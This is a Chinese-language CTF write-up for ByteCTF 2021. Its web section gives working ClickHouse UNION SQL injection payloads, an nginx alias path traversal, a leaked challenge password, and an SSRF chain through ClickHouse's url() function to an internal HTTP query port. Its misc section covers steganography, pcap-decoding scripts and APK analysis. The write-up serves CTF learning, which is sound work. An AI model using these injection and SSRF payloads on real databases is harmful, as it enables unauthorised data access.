ByteCTF 2021 WEB & MISC WP
WEB
double sqli
测试语句39.105.175.150:30001/?id=or
返回报错
Code: 47.
DB::Exception: Missing columns: 'or' while processing query: 'SELECT ByteCTF FROM hello WHERE 1 = or', required columns: 'ByteCTF' 'or', maybe you meant: ['ByteCTF']. Stack trace:
0. DB::TreeRewriterResult::collectUsedColumns(std::__1::shared_ptr<DB::IAST> const&, bool) @ 0xf0c9e4e in /usr/bin/clickhouse
1. DB::TreeRewriter::analyzeSelect(std::__1::shared_ptr<DB::IAST>&, DB::TreeRewriterResult&&, DB::SelectQueryOptions const&, std::__1::vector<DB::TableWithColumnNamesAndTypes, std::__1::allocator<DB::TableWithColumnNamesAndTypes> > const&, std::__1::vector<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >, std::__1::allocator<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > > > const&, std::__1::shared_ptr<DB::TableJoin>) const @ 0xf0d04bc in /usr/bin/clickhouse
2. ? @ 0xec7410e in /usr/bin/clickhouse
3. DB::InterpreterSelectQuery::InterpreterSelectQuery(std::__1::shared_ptr<DB::IAST> const&, DB::Context const&, std::__1::shared_ptr<DB::IBlockInputStream> const&, std::__1::optional<DB::Pipe>, std::__1::shared_ptr<DB::IStorage> const&, DB::SelectQueryOptions const&, std::__1::vector<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >, std::__1::allocator<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > > > const&, std::__1::shared_ptr<DB::StorageInMemoryMetadata const> const&) @ 0xec7097a in /usr/bin/clickhouse
4. DB::InterpreterSelectQuery::InterpreterSelectQuery(std::__1::shared_ptr<DB::IAST> const&, DB::Context const&, DB::SelectQueryOptions const&, std::__1::vector<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >, std::__1::allocator<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > > > const&) @ 0xec6f15d in /usr/bin/clickhouse
5. DB::InterpreterSelectWithUnionQuery::buildCurrentChildInterpreter(std::__1::shared_ptr<DB::IAST> const&, std::__1::vector<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >, std::__1::allocator<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > > > const&) @ 0xef909f5 in /usr/bin/clickhouse
6. DB::InterpreterSelectWithUnionQuery::InterpreterSelectWithUnionQuery(std::__1::shared_ptr<DB::IAST> const&, DB::Context const&, DB::SelectQueryOptions const&, std::__1::vector<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >, std::__1::allocator<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > > > const&) @ 0xef8f2f0 in /usr/bin/clickhouse
7. DB::InterpreterFactory::get(std::__1::shared_ptr<DB::IAST>&, DB::Context&, DB::SelectQueryOptions const&) @ 0xec25e90 in /usr/bin/clickhouse
8. ? @ 0xf12d109 in /usr/bin/clickhouse
9. DB::executeQuery(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, DB::Context&, bool, DB::QueryProcessingStage::Enum, bool) @ 0xf12bce3 in /usr/bin/clickhouse
10. DB::TCPHandler::runImpl() @ 0xf8b7c5d in /usr/bin/clickhouse
11. DB::TCPHandler::run() @ 0xf8ca1c9 in /usr/bin/clickhouse
12. Poco::Net::TCPServerConnection::start() @ 0x11f7ccbf in /usr/bin/clickhouse
13. Poco::Net::TCPServerDispatcher::run() @ 0x11f7e6d1 in /usr/bin/clickhouse
14. Poco::PooledThread::run() @ 0x120b4df9 in /usr/bin/clickhouse
15. Poco::ThreadImpl::runnableEntry(void*) @ 0x120b0c5a in /usr/bin/clickhouse
16. start_thread @ 0x7fa3 in /lib/x86_64-linux-gnu/libpthread-2.28.so
17. clone @ 0xf94cf in /lib/x86_64-linux-gnu/libc-2.28.so
通过报错得知数据库类型为clickhouse,查询语句为
select ByteCTF from hello where 1=...
存在联合查询注入?id=1 union all select user()
查询系统表得到数据库为ctf,default
;数据表为ctf.hint,default.hello
?id=1 union all select name from system.tables
?id=1 union all select name from system.databases
查询ctf.hint
得知权限不足?id=0 union all select * from ctf.hint
当前用户为user_02,可能有user_01
直接访问/给出的提示为 something in files
发现files存在目录穿越
看了一下nginx的配置,原来是alias导致的,好老的点。。。
server {
listen 80;
location / {
try_files $uri @app;
}
location @app {
include uwsgi_params;
uwsgi_pass unix:///tmp/uwsgi.sock;
}
location /static {
alias /app/static;
}
}
遍历目录发现sql文件
得到用户user_01的密码
ATTACH USER user_01 IDENTIFIED WITH plaintext_password BY 'e3b0c44298fc1c149afb';
ATTACH GRANT SELECT ON ctf.* TO user_01;
然后在clickhouse的文档中得知
-
clickhouse在8123端口可以http get传参实现登录查询功能:HTTP客户端 | ClickHouse文档
-
clickhouse支持访问外部url查询数据:url | ClickHouse Documentation
先构造访问8123端口的url,不知道为什么user:password@host:8123的方式会认证失败。。。必须传参。。。
http://127.0.0.1:8123/?user=user_01&password=e3b0c44298fc1c149afb&query=select name from system.databases
然后构造注入访问url的payload
?id=0 union all select * from url(url_above,"CSV","name String")
结合在一起通过clickhouse提供的url函数SSRF访问clickhouse提供的HTTP查询接口获取数据,注意访问8123的url需要二次转义
?id=0 union all select * from url("http://127.0.0.1:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2520name%2520from%2520system.databases","CSV","name String")
最后获得flag的payload
?id=0%20union%20all%20select%20*%20from%20url(%22http://127.0.0.1:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2520*%2520from%2520ctf.flag%22,%22CSV%22,%22name%20String%22)
MISC
HearingNotBelieving
音频的频谱图隐写和sstv隐写
分别使用的提取工具为audition和mmsstv
lost pixel
excel的背景图像存在隐写,将xls文件改后缀为zip解压得到背景图image1.png
stegsolve提取出lsb隐写
我以为的block size=8,一个4×4的方形色块为一个像素点,8个像素点为一个block
实际上的blocksize=8,要我说这好歹应该是blocksize=8×8或者blockheight=8才对吧
所以按照出题者的意思是像素图转4进制转byte
from PIL import Image
im=Image.open("1.bmp")
text=""
data=b""
rgb_im = im.convert('RGB')
for i in range(0,150,2):
for j in range(0,150,2):
block=[rgb_im.getpixel((j,i))[0]//255, rgb_im.getpixel((j+1,i))[0]//255, rgb_im.getpixel((j,i+1))[0]//255, rgb_im.getpixel((j+1,i+1))[0]//255]
if 0 in block:
text+=str(block.index(0))
print(bytes.fromhex(hex(int(text,4))[2:]))
我这里用的1.bmp是缩小了4倍后的图像,就是缩小后blocksize=2了,如果按照出题人对blocksize的理解的话。
可能photoshop缩小算法的原因,没有出现完整的flag,但还是能看出来的。
frequently
dns域名隐写也是神奇了,比赛的时候发现dns查询bytedanec.top(竟然不是bytedance.top,是不是出题人的手抖了?)的二级域名的前缀很像base64,于是提取了所有bytedanec.top二级域名的前缀,去重后拼在一起,结果得到的是损坏了的图像
赛后发现原来是我没有去掉重传报文,因为UDP报文的重传wireshark是不会检测的,没有像TCP那样出现retransmission的提示我就忽略了这一点。。。
加上去重传报文后的脚本
from scapy.all import *
import base64
pcap_path="frequently.pcap"
pkts = rdpcap(pcap_path)
ids=set()
data=""
data2=""
data3=""
for pkt in pkts:
if not pkt.haslayer("DNS") or not pkt.haslayer("IP") or pkt["DNS"].qd==None or pkt["DNS"].id in ids:
continue
if b".bytedanec.top" in pkt["DNS"].qd.qname:
d=pkt["DNS"].qd.qname[:pkt["DNS"].qd.qname.find(b".bytedanec.top")].decode()
if len(d)>1:
data+=d
data3+=d+"\n"
ids.add(pkt["DNS"].id)
open("data.data","w").write(data3)
open("data2.png","wb").write(base64.b64decode(data))
得到的图像为
结果flag不在这里,提取过程中发现许多o.bytedanec.top和i.bytedanec.top一直想不明白有啥意义,觉得可能是表示接下来一个base64子域的域名查询的数据包的什么东西,但是发现有对应不上,并不是一个oi一个base64
比赛后才知道原来o就是0,i就是1当成二进制解析即可。啊这。。。同样要去重,不然又是乱码,气死了
from scapy.all import *
pcap_path="frequently.pcap"
pkts = rdpcap(pcap_path)
ids=set()
data=""
data3=""
for pkt in pkts:
if not pkt.haslayer("DNS") or not pkt.haslayer("IP") or pkt["DNS"].qd==None or pkt["DNS"].id in ids:
continue
if b".bytedanec.top" in pkt["DNS"].qd.qname:
d=pkt["DNS"].qd.qname[:pkt["DNS"].qd.qname.find(b".bytedanec.top")].decode()
if len(d)<2:
data+=d
data3+=d+"\n"
ids.add(pkt["DNS"].id)
print(bytes.fromhex(hex(int(data.replace("o","0").replace("i",'1'),2))[2:]))
结果为
b'The first part of flag: ByteCTF{^_^enJ0y&y0ur'
另外一般的flag我觉得就完完全全脑洞了吧,有提示吗难道?
就算赛后做出来的同学在wp里说实在bytedance.net的流数据里,我盯着下图子域名前缀以及其原报文看了半天,完全不知道flag在哪里
赛后看别的队伍的wp结果在这个DHCP流里有flag,我真的是想不到啊。。。
就算我知道这里有,乍一看也看不出什么玄妙啊
babyshark
tcp.stream eq 0真的好大好可疑,看到了好多PK,应该有zip包
dump出来binwalk一下得到了classes3.dex和一堆文件,看着像apk解包后的东西。结果封成apk校验不对,去掉了WRTE之类的报文的也还是不对,赛后看WP得知他apk后面还接了半个zip?
比赛的时候没管那么多,既然有classes3.dex是不是应该还有classes.dex和classes2.dex啊,因为我看apktool反编译dex的工具目录下有这三个文件来着,于是用01editor打开dump出来的后搜了一下,果真有
binwalk提取不出来估计我还是没有把一些无关报文给过滤掉,所以直接把这个PK节之前的全删了重新保存一份给binwalk -e就能解出classes.dex了,classes2.dex同理。
不过解出来之后没啥用,都是一些javax和android的库,好处是放在一起拖进vscode之后代码报错引用缺失少了2333
看了看dex2jar和GDA反编译出来的代码,发现dex2jar的更简洁,但是错误更多,很多变量名都丢失了,全都用paramString、paramByteArray之类的代替,结果就是一个函数里不是同一个变量只要类型相同名字都是一样的,就报了一堆错误。。。手动修正后发现aesutil.java是实现aes加解密功能的模块,和业务罗辑关系不大。
MainActivity.jar的代码十分让人在意,感觉最后一行解密出来就是flag了
protected void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
setContentView(2131427356);
if (Build.VERSION.SDK_INT > 9) {
StringNode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder().permitAll().build());
}
paramBundle = loadPBClass(getPBClass()).getMethods()[37];
AesUtil.decrypt(getAESKey(getPBResp(), paramBundle), "8939AA47D35006FB2B5FBDB9A810B25294B5D4D76E4204D33BA01F7B3F9D99B1");
}
但是密文有,密钥是getAESKey函数提供的。
关于getAESKey函数干了什么我真没看懂,可能我java太弱了,没怎么实践,又是init又是getMethod又是invoke,给我搞的晕头转向的。。。
但是从loadPBClass、getPBResp和getPBClass中发现需要一下三个代码里没有的东西
public String getPBClass(){
...
str = Environment.getExternalStorageDirectory().getAbsolutePath() + "/PBClass.dex";
...
}
public byte[] getPBResp(){
Object localObject1 = new byte[0];
OkHttpClient localOkHttpClient = new OkHttpClient();
Object localObject2 = new Request.Builder().url("http://192.168.2.247:5000/api").build();
try
{
localObject2 = localOkHttpClient.newCall((Request)localObject2).execute().body().bytes();
...
}
public Class loadPBClass(String paramString){
File localFile = getDir("dex", 0);
DexClassLoader a = new DexClassLoader(new File(paramString).getAbsolutePath(), localFile.getAbsolutePath(), null, getClassLoader());
try{
paramString = paramString.loadClass("com.bytectf.misc1.KeyPB").getClasses()[0];
return paramString;
...
}
PBClasses.dex、http://192.168.2.247:5000/api和com.bytectf.misc1.KeyPB
其中http://192.168.2.247:5000/api的响应可以在pcapng中找到
但是我们在PBxxx这里卡住了。。。
赛后看WP得知,原来这里PB是要猜的,正确答案是protobuf…
protobuf是啥,在java题里见过不止一次了,看来得找时间学习一下
根据别人的WP,这里使用cyberchef解密/api的响应得到long类型的密钥244837809871755L
然后就可以AES解密得到flag了。。。
卡在了最后一步真可惜QAQ